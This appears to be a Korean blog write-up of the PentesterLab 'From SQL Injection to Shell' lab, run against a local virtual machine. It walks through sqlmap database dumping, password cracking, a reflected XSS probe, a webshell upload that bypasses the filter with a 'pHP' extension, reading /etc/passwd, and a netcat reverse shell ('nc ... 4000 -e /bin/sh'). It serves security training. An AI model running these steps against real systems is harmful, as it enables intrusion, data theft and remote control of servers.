[ 환경 구성 ]
먼저 해킹에 사용할 모의 앱을 만들기 위해 'PentesterLab' 사이트에 접속하여 상단 카테고리 중 EXERCISES를 클릭한다. 그러면 여러가지 파일의 목록들이 나오는데 그 중에서 'From SQL Injection to Shell' 을 찾아 클릭한다.
이후에 나오는 페이지에서 Files 부분을 누르고 ISO 파일을 다운로드 받기 위해 ISO 부분에 있는 here 버튼을 눌러 설치해준다.
이제 VMware에 아까 설치한 파일로 모의 웹을 새로 만들어야 하는데 강사님은 VirtualBox로 실습을 진행하셔서 최대한 비슷한 설정으로 설치하고자 노력하였다. 시스템은 Linux, 버전은 데비안 32bit 버전으로 설치하고 가상머신 이름은 '최종실습'으로 변경하였다. 메모리 크기의 경우 1GB도 충분하므로 1GB로 설정하였다.
마지막으로 가상머신을 생성하기 전에 두가지 설정을 변경해 주어야 하는데, 우선 네트워크 어뎁터 부분을 NAT에서 Host-only로 변경한다.
다음으로 CD 부분으로 가서 Use physical drive가 아닌 Use ISO image file에서 Browse 버튼을 눌러 아까 설치해순 From SQL to shell의 iso 파일을 넣어준다.
다음과 같이 모든 설정이 완료된 것을 볼 수 있었고, finish 버튼을 눌러 가상머신을 생성해준다.
'최종실습' 가상머신을 시작하면 다음과 같은 화면이 나온다.
ip addr 을 입력하여 ip 주소를 확인한다. eth0 부분에 192.168 로 시작하는 ip 주소를 찾을 수 있다. 내 서버의 ip 주소는 192.168.157.130 이다.
칼리 리눅스에서 이 ip 주소로 접근하기 위해서는 같은 네트워크 내역이 있어야 하기 때문에 칼리 리눅스 이미지에도 Host-only 어뎁터를 하나 추가해주어야 한다.
이후 칼리 리눅스를 키고 터미널에서 ip addr을 입력하면 칼리 리눅스에서도 사설 ip를 하나 받은 것을 볼 수 있었다.
리눅스의 firefox를 키고 주소창에 '최종실습' 가상머신에서 확인한 ip 주소 192.168.157.130 을 입력하고 접속에 성공하면 다음과 같은 페이지가 나온다. 만약 웹 브라우저에 프록시 설정이 되어 있는 경우, 버프스위트가 실행되어 있지 않으면 통신에 실패하여 다음과 같은 페이지를 볼 수 없다.
[ 웹 모의해킹 최종실습 ]
웹 사이트를 모의해킹 할 때 처음으로 해야할 일은 바로 웹페이지를 둘러보면서 정보를 수집하는 것이다.
위 사진들은 이 페이지의 카테고리 중 home을 제외하고 (home은 페이지에 처음 접속했을 때 나온 화면) 순서대로 모든 카테고리에 들어가봤을 때 화면이다.
카테고리 중 test, ruxcon, 2010 을 차례로 확인해 보니 주소창에서 id 파라미터의 값만 1, 2, 3으로 변경되는 것을 볼 수 있었다. 이렇게 파라미터 값이 변경되는 부분이 중요한 테스트 포인트이므로 우선 참고해두자.
우선 SQL Injection 공격을 테스트하기 위해 id 파라미터에 '(작은따옴표)를 하나 넣어 주었다. 그 결과, SQL 관련 에러가 발생했다. 이는 SQL Injection 공격에 취약하다고 볼 수 있다.
SQL 실습 때 사용했던 sqlmap을 활용해보자. 터미널에 sqlmap -u 옵션을 주고 큰따옴표 안에 id 파라미터 값이 1인 페이지 주소를 복사 후 붙여 넣으면 다음과 같이 실행된다. 이 사이트의 경우에는 dvwa와 달리 로그인을 하지 않아도 test URL에 접근할 수 있으므로 쿠키 옵션을 설정할 필요는 없다. 실행 결과를 통해 dvwa와 마찬가지로 mysql이 실행되고 있음을 확인할 수 있다.
[INFO] 내용 중 아래서 세번째 내용을 보면 id 파라미터가 취약하다는 것을 알려주고, 덧붙여 아래에 XSS 공격에 취약할 수 있다는 문구가 나오고 있다.
주소창 id 파라미터에 간단한 스크립트 구문인 <script>alert(1)</script>을 넣은 결과, 스크립트가 실행되는 모습을 확인할 수 있었다. 따라서 Reflected XSS 취약점이 있음을 알 수 있다.
다시 mysql로 돌아가 엔터를 눌러 계속 진행해보자. 그 결과 최종적으로 id 파라미터가 취약하다는 것을 알 수 있었다.
이번에는 --current-db 옵션을 주어 현재 db의 이름을 확인해보자.
명령어 실행 결과, 아래에 current database 부분을 보면 현재 db의 이름은 photoblog 임을 확인할 수 있다.
다음으로 db의 내용을 덤프해보자. -D photoblog --dump 옵션을 주면 데이터베이스의 내용을 모두 확인할 수 있다.
원래는 데이터베이스가 위 이미지처럼 테이블의 형태로 나와야 하는데 내 터미널에서는 리눅스의 문제로 그렇게 나오지는 않았다. 도대체 리눅스는 뭐가 문제인지....
데이터베이스의 내용을 통해 패스워드는 해시 형태로 있음을 확인할 수 있었다.
패스워드 크래킹이 모두 진행되고 프로그램이 종료되었다.
패스워드 크래킹 과정을 통해 users라는 테이블을 찾아냈고 여기에서 로그인 아이디(admin)와 패스워드를 찾아내었다. 패스워드 부분에는 패스워드 해시값과 크랙된 부분까지도 알려주고 있다.
추가로 아래쪽에 categories와 pictures 테이블을 통해 각각의 정보들을 나타내고 있다.
아이디와 비밀번호를 알아냈으니 로그인을 진행해보자.
찾아낸 아이디와 비밀번호를 입력하니 오른쪽 사진과 같이 로그인에 성공하였고, 심플하게 구성된 관리자 메뉴를 확인할 수 있었다.
관리자 페이지의 메뉴를 살펴보니 Manage pictures 에서는 왼쪽 이미지와 같이 그림 파일들을 관리하고, New pictures 메뉴에서는 오른쪽 이미지와 같이 새로운 그림 파일들을 업로드 할 수 있다.
여기서 파일 업로드 공격을 시도해보자.
타이틀은 webshell로 입력한 후 file 찾아보기에서 지난 실습에서 사용하였던 webshell.php 파일을 업로드 해야하는데, 나는 지난번 실습이 잘 이루어지지 않아 해당 파일이 없으므로 bad.php 파일을 사용하였다.
이후 add 버튼을 누른 결과 NO PHP라는 에러가 발생하였다. 이를 통해 PHP 파일은 업로드가 차단되고 있음을 확인할 수 있다. 이때 파일의 확장자를 검사하고 있는지 한번 테스트해보자.
파일 업로드 공격 강의에서 진행한 것처럼 버프스위트의 인터셉트 기능을 이용하여 파일 이름을 바꿔도 되지만, 파일 확장자를 검사하는 경우에는 파일 이름을 바꾸는 것만으로도 시도해볼 수 있다.
cp 명령어를 이용하여 bad.php 파일을 bad.pHP로 변경해주었다.
파일 확장자를 대문자로 바꾼 파일을 업로드 해보자.
그 결과, 이번에는 성공적으로 업로드 된 것을 확인할 수 있었다.
이미지 목록 중 마지막 webshell 부분을 누르면 오른쪽 이미지와 같은 화면이 나온다. 우선 별다른 반응은 없지만 원래 이미지 파일이 표시되는 페이지이기 때문에 이미지 소스로 불러올 가능성이 있다.
페이지 소스코드를 확인해보면 다음과 같이 이미지 소스로 업로드한 파일을 불러오고 있다. 업로드한 파일의 경로가 src 태그 뒷부분에 표시되고 있다. 이 경로로 접속해보자.
주소창에 다음 경로를 입력한 결과 웹쉘에 접근할 수 있다.
나는 bad.php 파일을 사용하였기 때문에 정상적인 결과가 나오지는 않았지만 실제로 webshell.php 파일을 사용한다면
다음과 같은 화면이 나오는 것을 확인할 수 있다.
입력 창에 cat /etc/passwd 를 입력하니 오른쪽 화면과 같이 패스워드 파일의 내용이 출력되는 것을 확인할 수 있다.
마지막으로 웹쉘에서 리버스쉘 기법을 이용하여 터미널을 통해 명령을 내릴 수 있도록 해보자.
터미널에 입력한 nc 라는 프로그램은 Netcat 이라고도 하는데 모의해킹에서 자주 사용되는 프로그램이다.
터미널에 nc -lvnp 4000을 입력하여 명령을 실행해준다. 여기서 'l'은 listenning mode 로 서버로 동작하게 해줄 수 있는 옵션이고, 'v'는 각종 로그들을 출력해준다. 'n'은 IP주소를 숫자로 사용할 때 쓰는 옵션, 마지막으로 'p'는 포트의 넘버를 적어주는 옵션이다. p 뒤에 4000을 입력하여 포트 4000번에 서버를 열어주었다.
이후 웹페이지로 돌아가 입력칸에 nc 192.168.157.130 (<-개인 리눅스 서버의 IP주소) 4000 -e /bin/sh 을 입력한다. 이때, -e 옵션을 사용하여 쉘을 열어줄 수 있다. 이렇게 입력한 후 실행한다.
그 결과, 다음과 같이 연결에 성공하였다. 해킹한 웹사이트의 주소로 부터 연결되었음을 확인할 수 있었다.
이제 각종 명령어를 여기서 실행할 수 있다.
우선 id 명령어를 입력하면 어떤 사용자의 아이디로 웹 애플리케이션이 실행되는지 확인할 수 있다.
다음으로 uname -a 명령어를 통해 시스템의 커널 버전을 알 수 있다.
pwd로 현재 디렉토리를 확인할 수 있으며, ls 명령어로 어떤 파일이 있는지 알 수 있다.
지금까지 웹사이트를 통해 시스템으로 침투해 들어가는 것을 직접 실습해보았다.
[참고자료] 인프런_화이트해커가 되기 위한 8가지 웹 해킹 기술
'Security > Web hacking' 카테고리의 다른 글
[논문 분석] 패스워드 매니저의 클라이언트-서버 통신 취약점 분석 (0) | 2023.02.01 |
---|---|
[논문 분석] 패스워드 매니저의 보안성 분석 (0) | 2023.01.23 |
XSS 공격 (0) | 2023.01.13 |
SQL 인젝션 공격 (1) (0) | 2023.01.09 |
CAPTCHA 공격 (0) | 2023.01.09 |